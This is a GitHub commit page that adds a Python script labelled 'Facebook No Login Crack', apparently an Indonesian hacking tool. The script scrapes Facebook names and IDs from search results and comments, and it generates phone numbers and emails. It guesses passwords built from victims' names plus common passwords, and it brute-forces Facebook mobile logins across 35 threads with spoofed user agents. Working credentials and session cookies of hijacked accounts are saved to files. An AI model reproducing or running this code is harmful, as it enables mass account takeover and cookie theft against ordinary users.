-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
60f6901
commit 664ba40
Showing
1 changed file
with
282 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,282 @@ | ||
#!/usr/bin/env python | ||
# -*- coding with python 3.11 -*- | ||
|
||
### --- [ INFORMASI ] --- ### | ||
Author = "BabasXD" | ||
Github = "github.com/RozhBasXYZ" | ||
Facebook = "facebook.com/ROZHBASXYZ" | ||
Script = "Facebook No Login Crack Free Version 1.0" | ||
Create = "15 February 2024" | ||
|
||
### --- [ IMPORT LIBRARY ] --- ### | ||
import requests, re, random, sys, os, time, string, subprocess, bs4 | ||
from concurrent.futures import ThreadPoolExecutor | ||
|
||
### --- [ WARNA PRINT ] --- ### | ||
P = '\x1b[1;97m' # PUTIH | ||
M = '\x1b[1;91m' # MERAH | ||
H = '\x1b[1;92m' # HIJAU | ||
K = '\x1b[1;93m' # KUNING | ||
|
||
### --- [ BAGIAN JAM ] --- ### | ||
def kalender(): | ||
struct_time = time.localtime(time.time()) | ||
hari_indonesia = ["Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu","Minggu"] | ||
hari = hari_indonesia[struct_time.tm_wday] | ||
tanggal = time.strftime("%d", struct_time) | ||
bulan = time.strftime("%B", struct_time) | ||
tahun = time.strftime("%Y", struct_time) | ||
jam = time.strftime("%H:%M:%S", struct_time) | ||
return hari, tanggal, bulan, tahun, jam | ||
|
||
### --- [ MEMBUAT FOLDER ] --- ### | ||
def buat_folder(): | ||
folder = ["OK","CP"] | ||
for x in folder: | ||
try: os.mkdir("/sdcard/FBL {}".format(x)) | ||
except Exception as e: pass | ||
|
||
### --- [ VARIABEL ] --- ### | ||
hari, tanggal, bulan, tahun, jam = kalender() | ||
hari_save = f"{hari}-{tanggal}-{bulan}-{tahun}.txt" | ||
ses = requests.Session() | ||
parser = bs4.BeautifulSoup | ||
rr = random.randint | ||
rc = random.choice | ||
dump, ok, cp, loop, list_ua, hasil_akun = [], 0, 0, 0, [], [] | ||
|
||
### --- [ GENERATOR SANDI ] --- ### | ||
def buat_data(akun): | ||
user, nama = akun.split("|")[0], akun.split("|")[1].lower() | ||
pwx, tampung = [], [] | ||
belakang = ["123","1234","12345","123456"] | ||
namd = nama.split()[0]; namful = nama.replace(" ","") | ||
namb = nama.split()[-1] | ||
if len(namful) > 5: pwx.append(namful); pwx.append(nama) | ||
try: | ||
nama.split()[1] | ||
for isi in belakang: | ||
pwx.append(namd+isi); pwx.append(namb+isi) | ||
if len(namful) > 5: pwx.append(namful); pwx.append(nama) | ||
except: | ||
for isi in belakang: pwx.append(namd+isi) | ||
for sandi in pwx: | ||
if len(sandi) < 6 or sandi in tampung or len(''.join(filter(lambda x: not x.isdigit(), sandi))) < 3: continue | ||
else: tampung.append(sandi) | ||
return user+"|"+",".join(x for x in tampung) | ||
|
||
### --- [ FOR USERAGENT ] --- ### | ||
for blade_team in ['re/realme', 'if/infinix']: | ||
try: | ||
link = parser(ses.get('https://whatmyuseragent.com/brand/'+blade_team).text, "html.parser") | ||
list_ua.extend([re.findall('Android .*; (.*?) Build', z.text)[0] for z in link.find_all("td", {"class": "useragent"}) if 'Build' in z.text]) | ||
except Exception as e: | ||
list_ua.append('Redmi Note 10 Pro') | ||
|
||
def ua_rozh(): | ||
rr = random.randint; rc = random.choice; andro = rr(8,14) | ||
build = "Build/{}.{}.0{}".format(rc(['QP1A', 'SP1A', 'PPR1', 'RP1A', 'OPM1', 'TP1A', 'RKQ1', 'SKQ1']), rr(111111,333333), rr(10,20)) | ||
chrome = "{}.0.{}.{}".format(rr(100,123), rr(1111,6500), rr(100,400)) | ||
return f"Mozilla/5.0 (Linux; Android {andro}; {rc(list_ua)} {build}; wv) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser Chrome/{chrome} Mobile Safari/537.36" | ||
|
||
#while True: input(ua_rozh()) | ||
### --- [ MENU UTAMA ] --- ### | ||
def menu_utama(): | ||
os.system('clear' if 'linux' in sys.platform.lower() else 'cls') | ||
print(f'''{H} _______{P} ______ _____ | ||
| ___| {H}__{P} \ |_ free blade | ||
| ___| {H}__{P} < | facebook crack | ||
|___| |______/{H}_______{P}| by {H}rozbasxyz{P}''') | ||
nopo = input(f"\n[{H}1{P}] dump pencarian\n[{H}2{P}] dump komentar\n[{H}3{P}] dump nomor\n[{H}4{P}] dump email\n[{H}5{P}] dump random\n[{H}6{P}] dump file\n[{H}7{P}] cek hasil\n[{H}?{P}] menu : "); print() | ||
if nopo == "1": Cari_Nama().apa_nama() | ||
if nopo == "2": dump_komen() | ||
if nopo == "3": dump_nomor() | ||
if nopo == "4": dump_email() | ||
if nopo == "5": dump_random() | ||
if nopo == "6": dump_file() | ||
if nopo == "7": cek_hasil() | ||
else: menu_utama() | ||
|
||
###---[ CEK HASIL CRACK ]---### | ||
def cek_hasil(): | ||
no, nox, nom = 0, 0, [] | ||
print(f"[{H}1{P}] cek hasil ok") | ||
print(f"[{H}2{P}] cek hasil cp") | ||
print(f"[{H}3{P}] batalkan proses") | ||
one = input(f'[{H}?{P}] pilih : '); print() | ||
if one in ['1','01']: | ||
try:ok = os.listdir('/sdcard/FBL OK') | ||
except: exit(f"[{M}!{P}] tidak hasil") | ||
for x in ok: | ||
if 'OK' in str(x): | ||
nom.append(x); no+=1 | ||
try: jum = open('/sdcard/FBL OK/'+x,'r').readlines() | ||
except: jum = [''] | ||
print(f'[{H}{no}{P}] {x} | {H}{len(jum)} {P}akun') | ||
abc = input(f'[{H}?{P}] nomor file : '); print() | ||
file = nom[int(abc)-1] | ||
try:buka = open('/sdcard/FBL OK/'+file,'r').read().splitlines() | ||
except: exit(f"[{M}!{P}] file tidak ada hasil ok") | ||
for data in buka: nox += 1; print(f"[{H}{nox}{P}] {data}") | ||
elif one in ['2','02']: | ||
try:ok = os.listdir('/sdcard/FBL CP') | ||
except:sys.exit(f"[{M}!{P}] tidak hasil") | ||
for x in ok: | ||
if 'CP' in str(x): | ||
nom.append(x); no+=1 | ||
try: jum= open('/sdcard/FBL CP/'+x,'r').readlines() | ||
except: jum = [''] | ||
print(f'[{K}{no}{P}] {x} | {K}{len(jum)} {P}akun') | ||
abc = input(f'[{K}?{P}] nomor file : '); print() | ||
file = nom[int(abc)-1] | ||
try:buka = open('/sdcard/FBL CP/'+file,'r').read().splitlines() | ||
except: exit(f"[{M}!{P}] file tidak ada hasil cp") | ||
for data in buka: nox += 1; print(f"[{K}{nox}{P}] {data}") | ||
else: menu_utama() | ||
|
||
### --- [ DUMP NAMA 2024 ] --- ### | ||
class Cari_Nama: | ||
def __init__(self): | ||
self.daftar = [] | ||
self.sudah = [] | ||
|
||
def apa_nama(self): | ||
rozhbasxyz = input(f"[{H}!{P}] cukup satu nama saja\n[{H}?{P}] nama : ") | ||
self.limit = input(f"[{H}!{P}] limit : "); print() | ||
self.daftar.append(rozhbasxyz) | ||
while True: | ||
try: | ||
name = rc(self.daftar) | ||
if len(dump) >= int(self.limit): break | ||
if name not in self.sudah: self.url = f"https://x.facebook.com/public/{name}/?locale=id_ID"; self.sudah.append(name); self.dump_nama() | ||
except KeyboardInterrupt: break | ||
print('\n\r '); exit(pilih_metode('')) | ||
|
||
def dump_nama(self): | ||
while True: | ||
try: | ||
link = ses.get(self.url).text | ||
A = re.findall('"FB:TEXT4">(.*?)</div>', link); B = [] | ||
if len(self.daftar)<=50: self.daftar.extend(i for i in A if i not in self.daftar) | ||
B.extend(z for z in [x for x in re.findall('result_id:(\d+),', link)] if z not in B) | ||
result = ['|'.join(pair) for pair in zip(B, A)] | ||
dump.extend(t for t in result if t not in dump) | ||
for s in result: print(f"\r[{H}!{P}] {s.split('|')[0]} | {len(dump)} ", flush=True, end="") | ||
self.url=re.findall('"see_more_pager",href:"(.*?)",',link)[0] | ||
except Exception as e: break | ||
|
||
### --- [ TANYA METODE ] --- ### | ||
def pilih_metode(password): | ||
global ok, cp | ||
rozh = [z for z in random.sample(dump, len(dump))]; dump.clear(); dump.extend(rozh); daftar_url = ['free.facebook.com', 'm.prod.facebook.com', 'free.prod.facebook.com']; nomor = 1; bas = [] | ||
for url in daftar_url: print(f"[{H}{nomor}{P}] {url}"); nomor += 1 | ||
no_url = input(f"[{H}?{P}] pilih : "); print() | ||
try: main_url = daftar_url[int(no_url)-1] | ||
except: main_url = "free.facebook.com" | ||
if password: | ||
for data_akun in dump: | ||
bas.append(data_akun+'|'+','.join(x for x in password)) | ||
else: | ||
for data_akun in dump: | ||
bas.append(buat_data(data_akun)) | ||
print(f"\r[{H}!{P}] akun ok : {H}OK{P}/{hari_save}") | ||
print(f"[{H}!{P}] akun cp : {K}CP{P}/{hari_save}\n") | ||
with ThreadPoolExecutor (max_workers=35) as rozh: | ||
for data_akun in bas: | ||
user, sandi = data_akun.split('|') | ||
rozh.submit(metode_log, user, sandi.split(','), main_url) | ||
print(f"\r[{H}!{P}] hasil crack ok:{H}{ok}{P} cp:{K}{cp}{P} dari {H}{len(dump)}{P} dump") | ||
|
||
### --- [ DUMP KOMEN 2024 ] --- ### | ||
def dump_komen(): | ||
next = 0 | ||
print(f"[{H}!{P}] masukan link target") | ||
target = input(f"[{H}?{P}] target : ") | ||
print(f"[{H}!{P}] tekan ctrl c untuk stop dump\n") | ||
if "app=fbl" in target: main_link = target.replace("www", "x").split("?app=fbl")[0] | ||
else: main_link = target.replace("www", "x") | ||
while True: | ||
try: | ||
rozh = False | ||
link = ses.get(main_link+f"?p={next};refid=18;__tn__=-R") | ||
for id,na in re.findall(r'data-sigil="feed_story_ring(\d+)".*?<div class=".*?">([^<]+)</div>', link.text): | ||
result = f"{id}|{na}" | ||
if result not in dump: rozh = True; dump.append(result); print(f"\r[{H}!{P}] {result.split('|')[0]} | {len(dump)} ", flush=True, end="") | ||
next += 30 | ||
if not rozh: break | ||
except KeyboardInterrupt: break | ||
except Exception as e: break | ||
print('\n\r '); pilih_metode('') | ||
|
||
### --- [ DUMP NOMOR ] --- ### | ||
def dump_nomor(): | ||
print(f"[{H}!{P}] masukan digit depan ({K}0831{P})") | ||
depan = input(f"[{H}?{P}] digit : "); print() | ||
while True: | ||
nomor = "{}-{}-{}".format(depan, rr(1111,9999), rr(1111,9999)) | ||
print(f"\r[{H}!{P}] {nomor} | {len(dump)} ", flush=True, end="") | ||
if nomor not in dump: dump.append(nomor) | ||
if len(dump)>=5001: break | ||
print('\n\r '); pilih_metode(["123456","12345678","katasandi","bismillah","rahasia"]) | ||
|
||
### --- [ DUMP EMAIL ] --- ### | ||
def dump_email(): | ||
print(f"[{H}!{P}] masukan nama target") | ||
nama = input(f"[{H}?{P}] target : ").lower(); print() | ||
if len(nama)<3: exit(f"[{M}!{P}] nama harus di atas 3 kata") | ||
while True: | ||
format = rc([f"{nama}{rr(1,9999)}", f"{nama}.{rr(1,9999)}", f"{nama}{rr(1,31)}{rr(1,12)}{rr(1990,2024)}", f"{nama}{rr(1,9999)}.{rr(1,9999)}", f"{nama}.{rr(1,9999)}.{rr(1,9999)}", f"{rr(1,9999)}{nama}", f"{rr(1,9999)}.{nama}"]) | ||
result = f"{format}@gmail.com|{nama}" | ||
print(f"\r[{H}!{P}] {result.split('|')[0]} | {len(dump)} ", flush=True, end="") | ||
if result not in dump: dump.append(result) | ||
if len(dump)>=5001: break | ||
print('\n\r '); pilih_metode('') | ||
|
||
### --- [ DUMP RANDOM ] --- ### | ||
def dump_random(): | ||
print(f"[{H}!{P}] masukan target id akun") | ||
depan = input(f"[{H}?{P}] target : ")[:-5]; print() | ||
while True: | ||
nomor = "{}{}".format(depan, rr(11111,99999)) | ||
print(f"\r[{H}!{P}] {nomor} | {len(dump)} ", flush=True, end="") | ||
if nomor not in dump: dump.append(nomor) | ||
if len(dump)>=5001: break | ||
print('\n\r '); pilih_metode(["123456","12345678","password","123456789","bismillah"]) | ||
|
||
### --- [ DUMP FILE ] --- ### | ||
def dump_file(): | ||
print(f"[{H}!{P}] masukan nama file") | ||
depan = input(f"[{H}?{P}] input : "); print() | ||
try: | ||
for nomor in open(depan, "r").read().splitlines(): | ||
try: dump.extend(open(depan, "r").read().splitlines()); print(f"\r[{H}!{P}] {nomor.split('|')[0]} | {len(dump)} ", flush=True, end=""); break | ||
except: exit("[!] format file salah") | ||
except FileNotFoundError: exit("[!] file tidak ada") | ||
print('\n\r '); pilih_metode('') | ||
|
||
### --- [ METODE REGULAR ] --- ### | ||
def metode_log(user, password, url): | ||
global ok, cp, loop | ||
print(f"\r[{H}!{P}] {P}Blade {H}{loop}{P}/{K}{len(dump)}{P}|{H}{ok}{P}/{K}{cp}{P} ",flush=True, end = "") | ||
for pw in password: | ||
try: | ||
ses = requests.Session(); ua = ua_rozh() | ||
try: com = re.findall('Chrome/(\d+).', ua)[0] | ||
except: com = '122' | ||
head_get = {'Host': url, 'sec-ch-ua': f'"Not A(Brand";v="99", "Android WebView";v="{com}", "Chromium";v="{com}"', 'sec-ch-ua-mobile': '?1', 'sec-ch-ua-platform': '"Android"', 'upgrade-insecure-requests': '1', 'user-agent': ua, 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'dnt': '1', 'x-requested-with': 'mark.via.gp', 'sec-fetch-site': 'none', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document', 'accept-encoding': 'gzip, deflate', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} | ||
link = ses.get('https://{}/login.php?next=https://{}/home.php?refsrc=deprecated&hrc=1&_fb_noscript=true&refsrc=deprecated&_rdr'.format(url, url), headers=head_get) | ||
date = {'lsd': re.search('name="lsd" value="(.*?)"', link.text).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"', link.text).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"', link.text).group(1), 'li': re.search('name="li" value="(.*?)"', link.text).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': user, 'pass': pw, 'login': 'Masuk', 'bi_xrwh': '0'} | ||
head_post = {'Host': url, 'content-length': '{}'.format(len(str(date))), 'cache-control': 'max-age=0', 'dpr': str(rr(1,3)), 'viewport-width': '980', 'sec-ch-ua': f'"Not A(Brand";v="99", "Android WebView";v="{com}", "Chromium";v="{com}"', 'sec-ch-ua-mobile': '?1', 'sec-ch-ua-platform': '"Android"', 'sec-ch-ua-platform-version': '""', 'sec-ch-ua-model': '""', 'sec-ch-ua-full-version-list': '', 'sec-ch-prefers-color-scheme': 'dark', 'upgrade-insecure-requests': '1', 'origin': f'https://{url}', 'content-type': 'application/x-www-form-urlencoded', 'user-agent': ua, 'cookie': ';'.join([str(x)+"="+str(y) for x,y in ses.cookies.get_dict().items()]), 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'x-requested-with': 'mark.via.gp', 'sec-fetch-site': 'same-origin', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document', 'referer': link.url, 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} | ||
ses.post('https://{}/login/device-based/regular/login/?next=https%3A%2F%2F{}%2Fhome.php%3Frefsrc%3Ddeprecated&refsrc=deprecated&lwv=100&refid=9'.format(url, url), data=date, headers=head_post, allow_redirects=False) | ||
babas = ses.cookies.get_dict() | ||
if "c_user" in str(babas): | ||
if user not in hasil_akun: hasil_akun.append(user); coki = (';').join(["%s=%s"%(name,value) for name,value in babas.items()]); print(f"\r[{H}!{P}] {H}{user}{P}|{H}{pw}{P}|{H}{coki}"); ok += 1; open("/sdcard/FBL OK/OK-"+hari_save, "a").write(f"{user}|{pw}|{coki}\n"); break | ||
elif "checkpoint" in str(babas): | ||
if user not in hasil_akun: hasil_akun.append(user); print(f"\r[{H}!{P}] {K}{user}{P}|{K}{pw}{P} "); cp += 1; open("/sdcard/FBL CP/CP-"+hari_save, "a").write(f"{user}|{pw}\n"); break | ||
else: continue; ses.close() | ||
except requests.exceptions.ConnectionError: | ||
time.sleep(10); metode_log(user, password, url) | ||
loop += 1 | ||
|
||
if __name__ == "__main__": | ||
buat_folder(); menu_utama() |